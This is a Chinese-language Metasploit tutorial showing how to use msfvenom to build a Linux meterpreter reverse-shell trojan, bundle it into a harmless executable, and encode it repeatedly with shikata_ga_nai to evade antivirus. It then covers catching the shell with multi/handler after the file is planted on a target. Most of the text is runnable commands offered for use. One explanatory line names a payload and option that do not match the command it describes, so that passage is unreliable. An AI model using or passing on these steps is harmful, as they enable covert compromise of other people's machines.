Metasploit 是一个开源的,可用来发现、验证并利用漏洞的渗透测试平台。
Kali 中默认安装了 Metasploit 框架。
# msfvenom 命令实现木马生成、捆绑以及免杀处理
简介:
msfvenom 是 Metasploit 中的一个命令。
msfvenom 命令结合了 msfpayload 和 msfencoder 的功能,能够生成木马,并实现木马编码免杀和避免坏字符、捆绑木马等。
# msfvenom 命令用法
涉及到的选项有:
-l:列出指定模块(包括 payloads, encoders, nops, platforms, archs, encrypt, formats, all)的所有可用资源。其中 payloads 对应的就是木马。
-p:指定需要使用的 payload ,可以指定 ‘-’ 或者 stdin 来自定义 payload。
如果不知道 payload 包括哪些选项,可以使用 --list-options
列出 payload 的标准选项。
-f:指定 payload 的输出格式,可以使用 --list formats
来列出可选的格式。
-o:指定输出的 payload 的保存路径,也可以采用重定向的方式来替代 - o 选项。
-x: 指定一个自定义的可执行文件作为模板。即,把木马捆绑到指定的可执行文件上。
-e:指定使用的编码器()。
-i: 指定对 payload 编码的次数
# 木马生成
- 先使用
msfvenom -l payloads
命令,查看可用的木马。
因为可用的木马有很多,所以可以根据所需木马的特性、结合 grep 限定木马的种类
以木马linux/x86/meterpreter/reverse_tcp
(反向连接) 作为样例,
<br> - 查看该木马需要设置的选项:
msfvenom -p linux/x86/meterpreter/reverse_tcp --list-options
<br>
-
查看可指定的输出格式:
msfvenom --list formats
<br> -
参考上面得到的信息,构造生成木马的命令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.158.132 LPORT=4444 -f elf -o /root/payload.elf
其中,-p 选择生成的木马为:linux/x64/shell_bind_tcp;
RHOST 指定将要攻击的目标主机的 IP;
LPORT 指定对应端口号(默认为 4444,故可以不写);
-f 指定生成木马文件的文件类型为 elf
-o 指定保存生成的木马文件的地址为:/root/payload.elf
# 木马捆绑
通常情况下,木马会和正常的文件捆绑在一起,方便木马进行感染和传播。
所以,我们要事先准备好一个用于绑定的文件,这里选用的是 /root/hello_world
( gcc 编译的一个简单的 C 程)。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.158.132 LPORT=4444 -f elf -x /root/hello_world -o /root/payload_bundle.elf
其中,-x 指定绑定的可执行文件为 /root/hello_world
,其余项与生成木马的指令一致。
# 木马免杀
在杀毒软件泛滥的今天,不对木马文件进行免杀处理很难通过杀软的检查,所以需要对木马进行免杀处理。
查看可用的编码器: msfvenom -l encoders
选用免杀效果较好的 x86/shikata_ga_nai 编译器进行编码。
命令: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.158.132 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf -x /root/hello_world -o /root/payload_Anti_Virus.elf
其中,-e 指定编译器为 x86/shikata_ga_nai,
-i 指定编码的次数为 5 次。
编码 5 次的木马,基本可以躲避部分杀软的查杀,
当然可以对木马进行更多次的编码,这样可以提高木马的免杀机率,但是需要注意:这也可能会导致木马不可使用。
# msfconsole 木马利用
使用之前生成的木马文件: payload.elf。
# 攻击端:
输入命令 msfconsole
打开 MSF 控制台
输入命令: use exploit/multi/handler
,选择 exploit 模块
然后,可以输入命令 show options
查看设置的参数(查看还要设置哪些)
命令 set PAYLOAD linux/x86/meterpreter/reverse_tcp
,设置 PAYLOAD
命令 set LHOST 192.168.158.132
,设置 local host 的 IP
命令 run
开始监听对应的端口,等待目标服务器执行木马后,就能获得 shell。
如下图所示:
# 目标服务器:
用各种方式将木马文件传到目标服务器上,
命令 chmod +x payload.elf
更改文件执行权限
执行 payload.elf 文件(顺序:要在攻击端开始监听之后执行):
整理一下:
- 攻击端:
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
4.set LHOST 192.168.158.132
run
,开始监听
- 目标服务器:
- 下载木马文件
chmod +x payload.elf
./ payload.elf